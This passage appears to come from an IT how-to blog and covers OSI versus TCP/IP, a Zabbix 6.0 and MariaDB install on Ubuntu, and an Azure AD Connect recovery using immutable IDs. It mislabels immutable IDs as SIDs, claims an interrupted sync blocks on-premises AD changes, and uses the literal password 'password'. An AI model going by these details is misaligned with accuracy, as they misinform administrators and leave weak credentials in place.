It defines the connector, the electrical cable, or wireless technology connecting the devices, and is responsible for the transmission of the raw data, which is simply a series of 0s and 1s while taking care of bit rate control.

Advantages of the OSI model

The advantages of the OSI model are:

• It helps to standardize routers, switches, motherboards, and other hardware.

• It is a generic model and acts as a guidance tool to develop any network model.

• It helps users and operators of computer networks to determine the required hardware and software to build their network.

• It helps users and operators of computer networks to understand and communicate the process followed by components communicating across a network.

• It helps users and operators perform troubleshooting, by identifying which network layer is causing an issue and focusing efforts on that layer.

OSI and TCP/IP

TCP/IP and OSI are two different models used for network communication. OSI follows an academic approach, whereas TCP/IP follows a practical approach.

The TCP/IP model is a functional model designed to solve specific communication problems, while OSI is a generic, protocol-independent model intended to describe all forms of network communication.

TCP/IP is a standard protocol used for every network including the Internet, while OSI is not a protocol but a reference model used for understanding and designing the system architecture.

A key difference between the models is that TCP/IP is simpler, collapsing several OSI layers into one:

• OSI layers 5, 6, and 7 are combined into one application layer in TCP/IP.

• OSI layers 1, and 2 are combined into one network access layer in TCP/IP.

Surprisingly, the TCP/IP model came into existence about 10 years before the OSI model. As it turned out, TCP/IP had too much momentum to be overtaken by the OSI model or any of the other competing network models.

Zabbix is an open-source monitoring software tool that helps organizations track and monitor their IT infrastructure and networks in real-time. It is designed to provide comprehensive monitoring of networks, servers, applications, and services, and to alert administrators when problems occur.

Zabbix can monitor various aspects of IT infrastructure such as CPU, memory, disk usage, network bandwidth, and more. It provides a centralized platform for monitoring and reporting, allowing administrators to view the status of all devices and services on their network from a single dashboard.

Zabbix offers a wide range of features, including data collection via SNMP, JMX, IPMI, and other protocols, real-time alerting, flexible reporting and analysis, and the ability to automate remediation actions. It also supports the visualization of data through charts, graphs, and maps.

Zabbix Operation

Zabbix collects information from Network Devices and Servers using two methods, agentless and agent installed.

Agentless

It allows administrators to monitor devices without the need to install an agent on each device.

Agentless monitoring in Zabbix works by using protocols such as ICMP, SNMP, and SSH to gather data from network devices and servers.

For example, ICMP can be used to check the availability of network devices, SSH can be used to execute commands on remote servers and retrieve data.

However, agentless monitoring may not be as comprehensive as agent-based monitoring, as it relies on standard protocols that may not provide access to all of the performance data available on a device.

Additionally, agentless monitoring may be less secure than agent-based monitoring, as it requires the use of credentials to access devices over the network.

Zabbix Agent

Agent installation: Zabbix requires an agent to be installed on each monitored device. This agent collects data on the device's performance and sends it to the Zabbix server for processing.

• Data collection: Zabbix can collect data from a variety of sources, including SNMP, JMX, IPMI, and other protocols. The collected data is stored in a database for analysis and reporting.

• Threshold monitoring: Zabbix allows administrators to set thresholds for the collected data. When a value exceeds a threshold, Zabbix generates an alert, which can be sent to one or more designated recipients via email, SMS, or other channels.

• Alerting: Zabbix can send alerts to multiple recipients based on user-defined rules. Administrators can define different levels of severity for different types of alerts and set up escalation policies to ensure timely responses to critical issues.

• Reporting: Zabbix provides a range of reporting options, including real-time dashboards, scheduled reports, and ad-hoc queries. Reports can be customized to provide the specific information required by administrators.

• Remediation: Zabbix also supports the ability to automate remediation actions, such as restarting a service or executing a script, based on user-defined rules.

Zabbix Structure

The web front-end is what we normally open in our web browser and is used as a centralized visualization and configuration platform.

The Zabbix server is the brain of the entire system, which is responsible for gathering data from the hosts and proxies, analyzing it, and acting based on the triggers that we have created.

The database is where everything is stored, what we configure in our front end: items, hosts, proxies, triggers, actions, or whatever else. We collect those data from our hosts and store them in the database for the period we need.

Zabbix Installation

System Requirement

OS: Ubuntu 22.04 LTS (can be changed to lower or other distros)

Zabbix version: 6.0 LTS

Database version: MariaDB 10.6 (you can use PostgreSQL or MySQL)

Firewall setting: TCP 80 & 443

Zabbix Server Installation

Download and install the repo for Zabbix's latest stable version 6.0 LTS.

wget https://repo.zabbix.com/zabbix/6.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_6.0-4+ubuntu22.04_all.deb
sudo dpkg -i zabbix-release_6.0-4+ubuntu22.04_all.deb
sudo apt update

Install the necessary packages for the Zabbix server.

sudo apt install zabbix-server-mysql zabbix-frontend-php zabbix-apache-conf zabbix-sql-scripts zabbix-agent -y

Database Installation

Download and install the repo for MariaDB.

curl -LsS -O https://downloads.mariadb.com/MariaDB/mariadb_repo_setup
sudo bash mariadb_repo_setup --mariadb-server-version=10.6
sudo apt update

Install the necessary packages and enable MariaDB.

sudo apt -y install mariadb-common mariadb-server-10.6 mariadb-client-10.6 -y
sudo systemctl start mariadb
sudo systemctl enable mariadb
sudo mysql_secure_installation

Create an initial user for the database.

sudo mysql_secure_installation

Remove anonymous users? Yes
Disallow root login remotely? Yes
Remove test database and access to it? Yes

Create a user and data table for Zabbix

#Access SQL with user root
sudo mysql -u root
mysql > create database zabbix character set utf8mb4 collate utf8mb4_bin;
mysql > grant all privileges on zabbix.* to zabbix@localhost identified by 'password';
mysql > set global log_bin_trust_function_creators = 1;
mysql > flush privileges;
mysql > quit

# Set default SQL user
sudo zcat /usr/share/zabbix-sql-scripts/mysql/server.sql.gz | mysql --default-character-set=utf8mb4 -uzabbix -p'password' zabbix

Set Up Zabbix

Change the Zabbix setting file.

sudo nano /etc/zabbix/zabbix_server.conf
#edit below part which matches with your info.
DBName=zabbix
DBUser=zabbix
DBPassword=password

Restart Zabbix services.

sudo systemctl restart zabbix-server zabbix-agent
sudo systemctl enable zabbix-server zabbix-agent

You can now access the Zabbix web interface and complete the setup

your-ip-add/zabbix

Input the database information that you create above, and complete the setup.

Simply put, Azure AD Connect is a solution to automatically synchronize identity data between their on-premises Active Directory environment and Azure AD. That way, users can use a single identity to access on-premises applications and cloud services such as Microsoft 365.

• It includes a number of technologies:

• Azure AD Connect Sync

• Azure AD Connect Health

• ADFS (Active Directory Federation Services)

• The PHS/PTA/SSSO Provisioning Connector

Azure AD Connect supports integration with other Microsoft products such as Office365, Sharepoint, Dynamics CRM, and Outlook.

Alternatively, you can also consider the cloud-managed solution: Azure AD Connect cloud sync.

What happens if you lose your Azure AD sync?

If you lose your Azure AD sync, it depends on the type of sync you are using.

If you sync password hashes, you can still connect to O365 without issue.

If you use Pass-through Authentication, you’re dead, no access to O365.

When the sync is interrupted, you will not be able to make changes to the on-premises Active Directory and those changes will not be synchronized to Azure AD until you restore connectivity.

How to migrate existing Azure AD connect after a network disaster?

Create the same AD server

Firstly, make sure we have the same AD server with all the identities.

Create an AD with the same domain name. I have my local domain as "clayton.local"

Go to Tool > Active Directory Domain and Trust.

Right-click the domain, choose Properties, and Add Alternative Suffixes.

I use my own: "susuomlu.com". This will be our UPN.

Manually create users with the same SIDs

Go to portal.azure.com > Azure Active Directory > Users and select users that need to be synchronized.

Click on 'Properties' and you can see their "On-premises immutable ID" attribute's value.

Or, we can get all IID using the script below:

Install-Module MSOnline
Import-Module MSOnline
Connect-MsolService
$onlineusers = Get-MsolUser -All | Select-Object UserprincipalName,ImmutableID,LastDirSyncTime| Export-Csv c:\IID.csv -NoTypeInformation

Run the script to get all IID of users, this .csv file is stored at C:\IID.csv

Create the unique SID from Immutable ID

Run this PowerShell Script, and replace the list with the immutable ID from the .csv file.

$IID_List = @('dMIj64cN/0CM9fmLIexC4g==','I4VwJomrjUWzPHk6sMlh3g==','rT8wJf+DrkCcKVxXX7ADzA==','vqhLzR9Mq0aEvHed8eA00Q==') ### You can put more into this list
Function Convert_IID_to_SID ($IID){
    $b64 = $IID
    $bytes = [System.Convert]::FromBase64String($b64)
    $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($bytes.Length * 2)
    foreach ($byte in $bytes) {
    $hex.AppendFormat("{0:x2}", $byte) > $null
    }
    $hex.ToString().ToUpper()
}
Foreach ($item in $IID_List) {
    Convert_IID_to_SID($item)
}

After the run, 32-Digit values should appear. Copy them for later use.

Please carefully check if the SID is correct for each user.

Create new users with the same unique Immutable ID

Create users, using the UPN.

Go to View and Enable Advanced Features

Right Click on the User, go to Properties > Attribute Editor, and find the "ms-DS-ConsistencyGuid" attribute.

Select Edit/Modify for the attribute.

Paste the 32-Digit string from before.

Apply and OK.

You will have to do this for all the users, otherwise, they will be duplicated.

Now, you can install Azure AD Connect and start the sync process again.

The result

This action will create a Service account.

If the SID was modified correctly, other user accounts will not be duplicated.

On Azure Portal, check if Sync Status is Enabled and Last Synced recently.

After this, you have successfully migrated your existing Azure AD connect!